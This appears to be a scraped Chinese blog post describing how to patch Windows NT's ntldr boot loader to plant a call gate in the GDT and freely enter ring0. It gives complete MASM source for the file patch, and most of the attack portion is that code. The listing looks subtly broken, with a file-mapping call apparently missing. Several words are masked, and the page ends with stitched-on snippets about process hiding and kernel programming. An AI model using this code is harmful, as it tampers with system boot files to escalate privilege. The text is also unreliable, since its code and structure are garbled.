在保護模式下,ring0有至高無上的許可權,他一直是很多黑客程式設計師追求的目標,在nt平台上,ms對系統**作了保護,不能在象win9x那樣,去直接修改系統**,但是還是有不少辦法能夠進入ring0的,例如,在國內,最早sinister利用編寫驅動程式的方法進入ring0,這也是最通用的方法了,緊跟著webcrazy又使用讀寫物理記憶體的方法來讀寫gdt所在的物理記憶體,在gdt上生成自己的呼叫門來隨意進出ring0。後來由mgf提出一種更新的方法,這也就是我要介紹的方法,修改ntldr。
為什麼要修改ntldr呢,因為windows在啟動之時,需要裝載gdt上的描述符,而nt的引導程式是ntldr,那麼也就是說描述符可能在ntldr中,如果我們的假設成立,那麼我們就能夠在ntldr中找到系統描述符,好,我們首先來做個實驗,用ue開啟ntldr,搜尋16進製制數ffff 0000 009a cf00(這是gdt上的乙個描述符,它的選擇子為8h),結果我們搜到了,那麼證明想法是對的,在向後看,發現還有不少描述符,哈哈,如果我們在搜尋到的描述符區域中空的地方加入自己的呼叫門和自己的系統描述符,當系統重新啟動的時候我們的呼叫門就會被作業系統裝載到記憶體中,這樣我們就有了我們需要的呼叫門,就可以利用這個呼叫門自由進出ring0了。這裡可能有人要問為什麼不用系統選擇子08h所對應的描述符,而自己生成自己的選擇子和描述符,這是因為我們的呼叫門所指向的**一般都在使用者區,ms會做檢測,如果發現執行在選擇子為8h的**在0x80000000以下,就會認為是非法進入ring0,就會產生異常。下面請看**
;修改ntldr新增呼叫門,執行任意ring0**的例子
.386
.model flat,stdcall
option casemap:none
include d:\masm32\include\windows.inc
include d:\masm32\include\kernel32.inc
include d:\masm32\include\user32.inc
includelib d:\masm32\lib\kernel32.lib
includelib d:\masm32\lib\user32.lib
.data
szfilename db 'c:\ntldr',0
dwattrib dd 0
hfile dd 0
hmap dd 0
pfile dd 0
dwfilesize dd 0
dwc3code dd 0
gdtflag dw 0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh ;gdt中的第乙個和第二個描述符
callgate dw 0000,0108h,0ec00h,0000,0ffffh,0000,9a00h,00cfh ;呼叫門和乙個自己系統描述符
callsel dd 0
dw 103h ;呼叫門的選擇子
.code
start:
push offset szfilename
call getfileattributes ;得到檔案屬性
mov edx,eax
inc edx
je error_getfileattrib ;如果返回錯誤的話就直接退出
mov dwattrib,eax ;否則儲存檔案屬性
push 80h
push offset szfilename
call setfileattributes ;設定檔案屬性為一般檔案
call findc3code ;在kernel32.dll中搜尋ret指令
push 0
push 80h
push 3
push 0
push 3
push 0c0000000h
push offset szfilename
call createfilea ;開啟檔案
mov edx,eax
inc edx
je error_openfile
mov hfile,eax
push 0
push hfile
call getfilesize
mov dwfilesize,eax ;得到檔案大小
push 0
push 0
push 0
push 4
push 0
push hfile
or eax,eax
je error_filemap
mov hmap,eax
push 0
push 0
push 0
push 6
push eax
call mapviewoffile ;檔案對映到記憶體
or eax,eax
je error_map
mov pfile,eax
mov edi,eax
mov esi,offset gdtflag
mov ecx,dwfilesize
@@: ;在ntldr中搜尋描述符
inc edi
push esi
push edi
push ecx
mov ecx,10h
repz cmpsb
pop ecx
pop edi
pop esi
loopnz @b
;發現標誌後,準備在gdt中搜尋乙個空間來存放呼叫門
or ecx,ecx
je error_map
xor eax,eax
mov ecx,80h
@@:sub edi,8
push edi
push ecx
mov ecx,8
repz scasb ;再次確認位置
pop ecx
pop edi
loopnz @b
or ecx,ecx
je error_map
add edi,100h
lea esi,callgate
mov ecx,10h
rep movsb ;寫入呼叫門
mov edx,dwc3code
mov word ptr [edi-16],dx
shr edx,16
mov word ptr [edi-10],dx ;使呼叫門指向ret的位址
error_map:
push pfile
call unmapviewoffile
error_filemap:
push hmap
call closehandle
error_openfile:
push hfile
call closehandle
push dwattrib
push offset szfilename
call setfileattributes ;還原檔案屬性
error_getfileattrib:
push 0
call exitprocess
findc3code:
assume fs:nothing
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov eax,[eax+08h] ;eax->kernel32 base address
mov edi,eax
add edi,1000h ;從**段開始搜尋
mov ecx,20000h
mov al,0c3h; 搜尋ret指令
repnz scasb
dec edi
mov dwc3code,edi
retend start
這個程式修改ntldr,在其中gdt的第乙個描述符的偏移100h的地方寫入自己的乙個呼叫門和乙個系統描述符,在重新啟動以後,我們的呼叫門將被載入到gdt中,這樣我們就可以自由進出ring0了,另外這個程式的呼叫門指向kernel32.dll中的一條ret指令,為什麼要這麼做呢?因為首先來看看使用呼叫門後cpu都做了那些事,如果有程式使用了呼叫門,cpu會儲存所有的暫存器,其中包括eax,ebx,ecx,edx,esp,cs,ds,es,fs,ss,eip等,在轉向呼叫門時,我們先來看看堆疊的結構
eipring3的esp
….看到了吧,如果我們在這裡執行一條ret指令,就能跳向呼叫呼叫門的下一條指令,這樣就轉回了我們自己的程式中了。
Ring0 鍊錶
一般驅動層不使用資料結構,一般ring3層 雙向鍊錶可以將鍊錶形成乙個環.blink指標指向前乙個元素,flink指標指向下乙個元素.typedef struct list entry list entry,plist entry,restricted pointer prlist entry 初始...
ring0 程序隱藏實現
最近在學習核心程式設計,記錄一下最近的學習筆記。原理 將當前程序從eprocess結構的鍊錶中刪除 無法被 process 0 0 看見 include hideprocess.h ifdef win64 define activeprocesslinks eprocess 0x188 define...
ring0和ring3的區別
現在 核心程式和應用程式之間的本質區別。除了能用wdk編寫核心程式和閱讀一部分windows的核心 之外,我們還需要了解它們的本質是什麼,它們和我們熟悉的應用程式有什麼區別。intel的x86處理器是通過ring級別來進行訪問控制的,級別共分4層,從ring0到ring3 後面簡稱r0 r1 r2 ...